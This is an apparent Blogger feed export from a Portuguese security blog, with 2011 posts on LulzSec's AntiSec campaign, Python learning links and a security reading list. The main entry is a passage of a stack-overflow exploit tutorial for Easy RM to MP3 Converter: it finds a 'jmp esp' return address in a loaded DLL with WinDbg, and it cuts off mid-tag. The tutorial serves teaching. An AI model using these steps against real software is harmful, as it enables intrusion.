a ficha de que sem TI nenhuma empresa funciona hoje em dia, que o fato de um cara ficar sentado o dia inteiro tomando cafezinho em frente ao computador (olhando gráficos, logs ou seja lá o que for) não quer dizer que não esteja trabalhando, que eficácia é diferente de eficiência, que TI precisa de escopos bem definidos e prazos coerentes e realistas, nós vamos retornar à idade das trevas no setor tecnológico. Porque quando uma operação, como essa que começará a ser deflagrada pelo LuzlSec + Anonymous, ocorrer, não será apenas a rede da Sony com nossos cartões de crédito que será destruída e pilhada, ou a Amazon que ficará fora do ar. Serão hospitais que terão equipamentos comprometidos, abastecimento de água e energia interrompidos, usinas nucleares controladas (lembram-se do Stuxnet?!) e muitas outras coisas piores do que perder os dados de seu projeto no qual investiu milhões de doláres.&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm"&gt;Mas é justamente protegendo o seu projeto, bem como os governos protegendo seus governados, que cada um fará sua parte e a comunidade de segurança atuando através de empresas ou instituições conscientes, que conseguiremos fazer com que essa operação cause bem menos malefícios do que aquilo que pode acontecer se continuarmos no mesmo cenário atual.&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm"&gt;E então, vai pagar pra ver ou vai começar a agir desde já? A comunidade de segurança conta com essa atitude proativa das empresas e governos para que possa atuar com todo o gás e recursos necessários.&lt;/p&gt;  &lt;p class="western" style="margin-bottom: 0cm"&gt;Para saber um pouco mais sobre a operação AntiSec:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;No G1: &lt;a href="http://g1.globo.com/tecnologia/noticia/2011/06/conheca-o-lulzsec-o-grupo-hacker-que-desafiou-o-governo-dos-eua.html"&gt;Conheça o LulzSec, o grupo hacker que desafiou o governo dos EUA&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Estadão: &lt;a href="http://blogs.estadao.com.br/link/anonimo-sem-causa"&gt;Anônimo sem causa&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://blog.corujadeti.com.br/lulzsec-anonymous-problemas-muitos-problemas"&gt;Lulzsec + Anonymous = problemas, muitos problemas.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://josemilagre.com.br/blog/2011/06/20/estado-de-sitio-virtual-lulzsec-a-lei-e-a-defesa-cibernetica-do-brasil"&gt;Estado de sítio virtual: LulzSec, a Lei e a defesa cibernética do Brasil&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://qualitek.blogspot.com/2011/06/hackers-terceira-guerra-ja-comecou.html"&gt;Hackers: A Terceira Guerra já Começou? &lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://qualitek.blogspot.com/2011/06/ok-guerra-e-guerra-mas-contra-quem.html"&gt;Ok, Guerra é Guerra! Mas contra quem?&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8304602699863916681?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8304602699863916681/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/06/operation-anti-security.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8304602699863916681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8304602699863916681'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/06/operation-anti-security.html' title='Operation Anti-Security'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-5788262810211044938</id><published>2011-06-15T08:57:00.002-03:00</published><updated>2011-06-15T09:01:48.705-03:00</updated><title type='text'>Aprendendo Python</title><content type='html'>Para quem quer aprender Python, seguem dois links, um para um livro  excelente traduzido para português, e outro para uma série de 21 vídeo-aulas do professor universitário Ronaldo Ramos (tbm em português):&lt;br /&gt;&lt;br /&gt;- &lt;span class="Object" id="OBJ_PREFIX_DWT125"&gt;&lt;span class="Object" id="OBJ_PREFIX_DWT126"&gt;&lt;a target="_blank" href="http://www.swaroopch.com/notes/Python_pt-br:Indice"&gt;http://www.swaroopch.com/notes/Python_pt-br:Indice&lt;/a&gt;&lt;/span&gt;&lt;/span&gt; - A Byte of Python in Brazilian&lt;br /&gt;&lt;br /&gt;- &lt;span class="Object" id="OBJ_PREFIX_DWT127"&gt;&lt;span class="Object" id="OBJ_PREFIX_DWT128"&gt;&lt;a target="_blank" href="http://www.youtube.com/watch?v=hsIU1eX1bSU"&gt;http://www.youtube.com/watch?v=hsIU1eX1bSU&lt;/a&gt;&lt;/span&gt;&lt;/span&gt; - primeira aula do curso de lógica de programação e Python&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;E,  obviamente, eu não poderia deixar de enviar o link de download do curso  do MIT sobre Ciência da Computação e Programação, com Python:&lt;br /&gt;&lt;br /&gt;- &lt;span class="Object" id="OBJ_PREFIX_DWT129"&gt;&lt;span class="Object" id="OBJ_PREFIX_DWT130"&gt;&lt;a target="_blank" href="http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/download-course-materials/"&gt;http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/download-course-materials/&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(nesse  link vocês poderão baixar os arquivos compactados do curso completo,  mas para assistir os vídeos através desse material, é necessário estar  conectado, pois no .zip os vídeos não estão presentes, mas apenas o  .html com a chamada para os mesmos).&lt;br /&gt;&lt;br /&gt;Para prestigiar mais escritores brasleiros, seguem mais dois links interessantes:&lt;br /&gt;&lt;br /&gt;- Python para desenvolvedores:&lt;a href="http://ark4n.wordpress.com/python/"&gt; http://ark4n.wordpress.com/python/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;- Aprendendo Django no Planeta Terra: &lt;a href="http://www.aprendendodjango.com/"&gt;http://www.aprendendodjango.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Divirtam-se!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-5788262810211044938?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/5788262810211044938/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/06/aprendendo-python.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5788262810211044938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5788262810211044938'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/06/aprendendo-python.html' title='Aprendendo Python'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-4967453397704255634</id><published>2011-06-14T09:50:00.001-03:00</published><updated>2011-06-14T09:50:34.703-03:00</updated><title type='text'>The Zen of Python, by Tim Peters</title><content type='html'>Beautiful is better than ugly.&lt;br /&gt;Explicit is better than implicit.&lt;br /&gt;Simple is better than complex.&lt;br /&gt;Complex is better than complicated.&lt;br /&gt;Flat is better than nested.&lt;br /&gt;Sparse is better than dense.&lt;br /&gt;Readability counts.&lt;br /&gt;Special cases aren't special enough to break the rules.&lt;br /&gt;Although practicality beats purity.&lt;br /&gt;Errors should never pass silently.&lt;br /&gt;Unless explicitly silenced.&lt;br /&gt;In the face of ambiguity, refuse the temptation to guess.&lt;br /&gt;There should be one-- and preferably only one --obvious way to do it.&lt;br /&gt;Although that way may not be obvious at first unless you're Dutch.&lt;br /&gt;Now is better than never.&lt;br /&gt;Although never is often better than *right* now.&lt;br /&gt;If the implementation is hard to explain, it's a bad idea.&lt;br /&gt;If the implementation is easy to explain, it may be a good idea.&lt;br /&gt;Namespaces are one honking great idea -- let's do more of those!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-4967453397704255634?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/4967453397704255634/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/06/zen-of-python-by-tim-peters.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/4967453397704255634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/4967453397704255634'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/06/zen-of-python-by-tim-peters.html' title='The Zen of Python, by Tim Peters'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-1915698262269030353</id><published>2011-06-07T11:38:00.002-03:00</published><updated>2011-06-07T11:45:57.469-03:00</updated><title type='text'>Lista de livros</title><content type='html'>Muitas pessoas me solicitam listas de livros como bibliografia para quem está interessado em segurança da informação. Por isso, pensei em hoje postar uma lista que criei com alguns livros que julgo interessantes para quem deseja atuar em algumas áreas de seg.info.&lt;br /&gt;&lt;br /&gt;Separei por área de atuação por julgar mais facilmente compreensível. Obviamente que essa não é uma lista exaustiva e nem limitada em si, mas que servirá para o bom propósito de quem está iniciando em alguma dessas áreas.&lt;br /&gt;&lt;br /&gt;Organizei, também, as área de atuação de maneira sequencial e coerente, onde o profissional que se interessa por segurança parte do cargo de administrador de redes, até a área de desenvolvimento de exploits, em uma sequência lógica e coerente.&lt;br /&gt;&lt;br /&gt;Normalmente o profissional que se interessa por segurança começa em  administrador de rede, e vai seguindo em frente por cada um desses  cargos. Obviamente que o mesmo pode pular um ou mais deles, mas aí ele &lt;span class="Object" id="OBJ_PREFIX_DWT199"&gt;&lt;span class="Object" id="OBJ_PREFIX_DWT200"&gt;ter&lt;/span&gt;&lt;/span&gt;á um lapso de falta de conhecimento que aumentará sua curva de aprendizado no campo seguinte.&lt;br /&gt;&lt;br /&gt;Vocês poderão baixar cada um desses livros a partir de dois links:&lt;br /&gt;http://www.wowebook.com/&lt;br /&gt;http://ebooklink.net/g/home/&lt;br /&gt;&lt;br /&gt;Os mesmos estão organizados por categoria, com o seu título e o nome da editora entre parêntesis.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- &lt;span style="font-weight: bold;"&gt;Administrador de rede&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Linux Network Administrators Guide (O'Reilly)&lt;/li&gt;&lt;li&gt;Security for Microsoft Windows System Administrators (Syngress)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;- &lt;span style="font-weight: bold;"&gt;Analista de infraestrutura&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Aggressive network self-defense (Syngress)&lt;/li&gt;&lt;li&gt;Hack Proofing Linux - A Guide to Open Source Security (Syngress)&lt;/li&gt;&lt;li&gt;Security Power Tools (O'Reilly)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;- &lt;span style="font-weight: bold;"&gt;Analista de segurança &lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Hack Proofing Your Network (2nd Edition) (Syngress)&lt;/li&gt;&lt;li&gt;Intrusion Prevention and Active Response (Syngress)&lt;/li&gt;&lt;li&gt;IT Security Project Management Handbook (Syngress)&lt;/li&gt;&lt;li&gt;Security Warrior (O'Reilly)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;- &lt;span style="font-weight: bold;"&gt;Penetration Tester&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Hacking - The Next Generation  (O'Reilly)&lt;/li&gt;&lt;li&gt;Hacking Exposed - 6thED Network Security Secrets And Solutions (McGraw-Hill)&lt;/li&gt;&lt;li&gt;Hacking Exposed - Windows - 3rd Edition (McGraw-Hill)&lt;/li&gt;&lt;li&gt;Hacking Exposed - Web Applications - 3rd Edition (McGraw-Hill)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;- &lt;span style="font-weight: bold;"&gt;Investigador Forense Digital&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Hacking Exposed Computer Forensics Computer Forensics Secrets &amp;amp; Solutions (McGraw-Hill)&lt;/li&gt;&lt;li&gt;Digital Forensics with Open Source Tools (Syngress)&lt;/li&gt;&lt;li&gt;Virtualization and Forensics - A Digital Forensic Investigator's Guide to Virtual Environments (Syngress)&lt;/li&gt;&lt;li&gt;Windows Forensic Analysis  (Syngress)&lt;/li&gt;&lt;li&gt;Digital Forensics for Network, Internet, and Cloud Computing: A Forensic Evidence Guide for Moving Targets and Data (Syngress)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;- &lt;span style="font-weight: bold;"&gt;Analista de malware&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Hacking Exposed - Malware and Rootkits (McGraw-Hill)&lt;/li&gt;&lt;li&gt;Malware Analysts Cookbook (Wiley Publishing)&lt;/li&gt;&lt;li&gt;Malware Forensics Investigating and Analyzing Malicious Code (Syngress)&lt;/li&gt;&lt;li&gt;The Art of Computer Virus Research and Defense (Symantec Press)&lt;/li&gt;&lt;li&gt;The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System (Wordware Publishing)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;- &lt;span style="font-weight: bold;"&gt;Pesquisador de vulnerabilidades&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Buffer Overflow Attacks - Detect, Exploit, Prevent (Syngress)&lt;/li&gt;&lt;li&gt;Gray Hat Hacking - 3nd Ed (McGraw-Hill)&lt;/li&gt;&lt;li&gt;The IDA Pro Book - The Unofficial Guide to the World's Most Popular Disassembler (no starch press)&lt;/li&gt;&lt;li&gt;Reversing - Secrets of Reverse Engineering (Wiley Publishing)&lt;/li&gt;&lt;li&gt;Hacking The Art of Exploitation - 2nd Edition  (no starch press)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;- &lt;span style="font-weight: bold;"&gt;Desenvolvedor de Exploits&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Exploiting Software How to Break Code (Pearson Education)&lt;/li&gt;&lt;li&gt;Gray Hat Python - Python Programming for Hackers and Reverse Engineers  (no starch press)&lt;/li&gt;&lt;li&gt;Writing Security Tools And Exploits  (Syngress)&lt;/li&gt;&lt;li&gt;The Shellcoders Handbook Discovering and Exploiting Security Hole 2nd Edition  (Wiley Publishing)&lt;/li&gt;&lt;li&gt;A Guide to Kernel Exploitation - Attacking the core (Syngress)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Sei que muitos de vocês podem contribuir com essa lista, então podem postar suas contribuições nos comentário, citando para qual categoria o livro é mais indicado, o título do mesmo e a editora que o publicou.&lt;br /&gt;&lt;br /&gt;[ ]'s&lt;br /&gt;Luiz&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-1915698262269030353?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/1915698262269030353/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/06/lista-de-livros.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1915698262269030353'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1915698262269030353'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/06/lista-de-livros.html' title='Lista de livros'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-7981301860971412848</id><published>2011-06-07T10:54:00.007-03:00</published><updated>2011-06-07T11:24:16.579-03:00</updated><title type='text'>Escrevendo um exploit para Stack Overflow - parte 3 (final)</title><content type='html'>&lt;span style="font-weight: bold;font-size:130%;" &gt;Pular para o shellcode de uma maneira confiável  &lt;/span&gt;&lt;p style="text-align: justify;" class="western"&gt;Procuramos colocar nosso shellcode exatamente onde o ESP aponta (ou, se olharmos por outro ângulo, o ESP aponta diretamente para o início de nosso shellcode). Se não fosse esse o caso, teríamos que olhar o conteúdo dos demais registradores e esperar encontrar nosso buffer. De qualquer forma, nesse exemplo em particular, podemos utilizar o ESP.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;A razão por detrás de sobrescrever o EIP com o endereço do ESP, é que queremos que a aplicação pule para o ESP e execute o shellcode.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Pular para o ESP é algo muito comum em aplicações Windows. De fato, aplicações Windows utiliza uma ou mais dll's, e essas dll's contém muitas instruções em código. Além do mais, o endereço utilizado por essas dll's normalmente são estáticos. Então, se encontrarmos uma dll que contenha a instrução para pular para o ESP, e se pudermos sobrescrever o EIP com o endereço daquela instrução na dll, então deve funcionar, certo?&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Vamos ver. Em primeiro lugar, precisamos entender o que o opcode para “jmp esp” é.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Nós podemos fazer isso executando o Easy RM to MP3 a partir do Windbg (obviamente após haver instalado o windbg). Apenas abra o Easy RM to MP3, não precisa fazer mais nada.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Ao executar o processo, a aplicação fará um break.&lt;/p&gt;&lt;p class="western"&gt;&lt;a href="http://3.bp.blogspot.com/-jceT-1ZgVMc/Te4uuBJ2YlI/AAAAAAAAAQ8/FIdT8MPOX10/s1600/img_25.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 518px; height: 72px;" src="http://3.bp.blogspot.com/-jceT-1ZgVMc/Te4uuBJ2YlI/AAAAAAAAAQ8/FIdT8MPOX10/s400/img_25.png" alt="" id="BLOGGER_PHOTO_ID_5615477153496195666" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="text-align: justify;" class="western"&gt;Na linha de comando do windbg, na parte inferior da tela, digite “a” (de assembler, sem aspas) e pressione enter. Agora digite “jmp esp” e pressione enter. Pressione enter novamente e digite “u” (unassemble) seguido pelo endereço que foi mostrado antes ao digitar “jmp esp”:&lt;/p&gt;&lt;p class="western"&gt;&lt;a href="http://2.bp.blogspot.com/-7AN4DrvmgzA/Te4uuv4Ld2I/AAAAAAAAARE/G6u7X2OZeBk/s1600/img_26.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 159px;" src="http://2.bp.blogspot.com/-7AN4DrvmgzA/Te4uuv4Ld2I/AAAAAAAAARE/G6u7X2OZeBk/s400/img_26.png" alt="" id="BLOGGER_PHOTO_ID_5615477166038546274" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western"&gt;Próximo ao 7C90120E, podemos ver ffe4. Este é o opcode para o jmp esp.&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p class="western"&gt;&lt;a href="http://4.bp.blogspot.com/-1DXfmOR-bSk/Te4uvAZvhTI/AAAAAAAAARM/nz543iRqFdo/s1600/img_27.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 176px;" src="http://4.bp.blogspot.com/-1DXfmOR-bSk/Te4uvAZvhTI/AAAAAAAAARM/nz543iRqFdo/s400/img_27.png" alt="" id="BLOGGER_PHOTO_ID_5615477170474288434" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Agora precisamos encontrar esse opcode em uma das dll's carregadas.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: none repeat scroll 0% 0% transparent; border: medium none; padding: 0cm; line-height: 0.42cm;" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Vamos ver as dll's carregadas pelo Easy RM to MP3:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: none repeat scroll 0% 0% transparent; border: medium none; padding: 0cm; line-height: 0.42cm;" align="JUSTIFY"&gt;&lt;a href="http://3.bp.blogspot.com/-_hKRmr0n994/Te4uvlY4iNI/AAAAAAAAARU/6adADDd3DYw/s1600/img_28.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 97px;" src="http://3.bp.blogspot.com/-_hKRmr0n994/Te4uvlY4iNI/AAAAAAAAARU/6adADDd3DYw/s400/img_28.png" alt="" id="BLOGGER_PHOTO_ID_5615477180402796754" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: none repeat scroll 0% 0% transparent; border: medium none; padding: 0cm; line-height: 0.42cm;" align="JUSTIFY"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Se podemos encontrar o opcode em uma dessas dll's, então teremos uma boa chance de fazer o exploit funcionar de maneira confiável em plataforma windows. Se precisarmos utilizar uma dll que pertence ao só, então poderemos descobrir que o exploit não funciona em outras versões do SO. Então vamos buscar a área de uma das dll's do Easy RM to MP3 primeiro.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Vamos buscar na área do &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a&gt;E:\&lt;/a&gt; Arquivos de programas\Easy RM to MP3 Converter\MSRMCcodec02.dll. Essa dll é carregada entre 019E0000 e 01EAD000. Busque nesta área por ff e4:&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: none repeat scroll 0% 0% transparent; border: medium none; padding: 0cm; line-height: 0.42cm;" align="JUSTIFY"&gt;&lt;a href="http://1.bp.blogspot.com/-LvRczT9Jung/Te4vu5XNtAI/AAAAAAAAARc/trrsRRWhjhI/s1600/img_29.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 124px;" src="http://1.bp.blogspot.com/-LvRczT9Jung/Te4vu5XNtAI/AAAAAAAAARc/trrsRRWhjhI/s400/img_29.png" alt="" id="BLOGGER_PHOTO_ID_5615478268096263170" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Excelente. Quando selecionamos um endereço, é importante olhar por bytes nulos. Devemos tentar evitar utilizar endereços com bytes nulos (especialmente se desejamos utilizar os dados de buffer que vêm depois do EIP. O byte nulo se tornaria um finalizador de string e o resto dos dados de buffer seriam inutilizados).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt; Nota: há outras maneiras para conseguir os endereços de opcodes:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;  &lt;a href="http://www.securiteam.com/tools/5LP0C1PEUY.html" target="_blank"&gt;findjmp&lt;/a&gt;  (de Ryan Permeh): compile o findjmp.c e execute-o com os seguintes  parâmetros: findjmp [dllfile] [register]&lt;br /&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;  o &lt;a href="http://www.metasploit.org/users/opcode/msfopcode.cgi" target="_blank"&gt;metasploit  opcode database&lt;/a&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;  &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;  &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;memdump&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: transparent; border: none; padding: 0cm; line-height: 0.42cm" align="JUSTIFY"&gt;  &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;pvefindaddr,  um plugin para o Immunity Debugger. De fato essa é a melhor opção,  pois filtra automaticamente os ponteiro não-confiáveis.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p class="western" style="margin-bottom: 0.5cm; background: none repeat scroll 0% 0% transparent; border: medium none; padding: 0cm; line-height: 0.42cm;" align="JUSTIFY"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Veja abaixo o ponteiro que o Immunity retornou, utilizando o plugin pvefindaddr (apenas um, ao invés de vários como o windbg):&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="western" style="margin-bottom: 0.5cm; background: none repeat scroll 0% 0% transparent; border: medium none; padding: 0cm; line-height: 0.42cm;" align="JUSTIFY"&gt;&lt;a 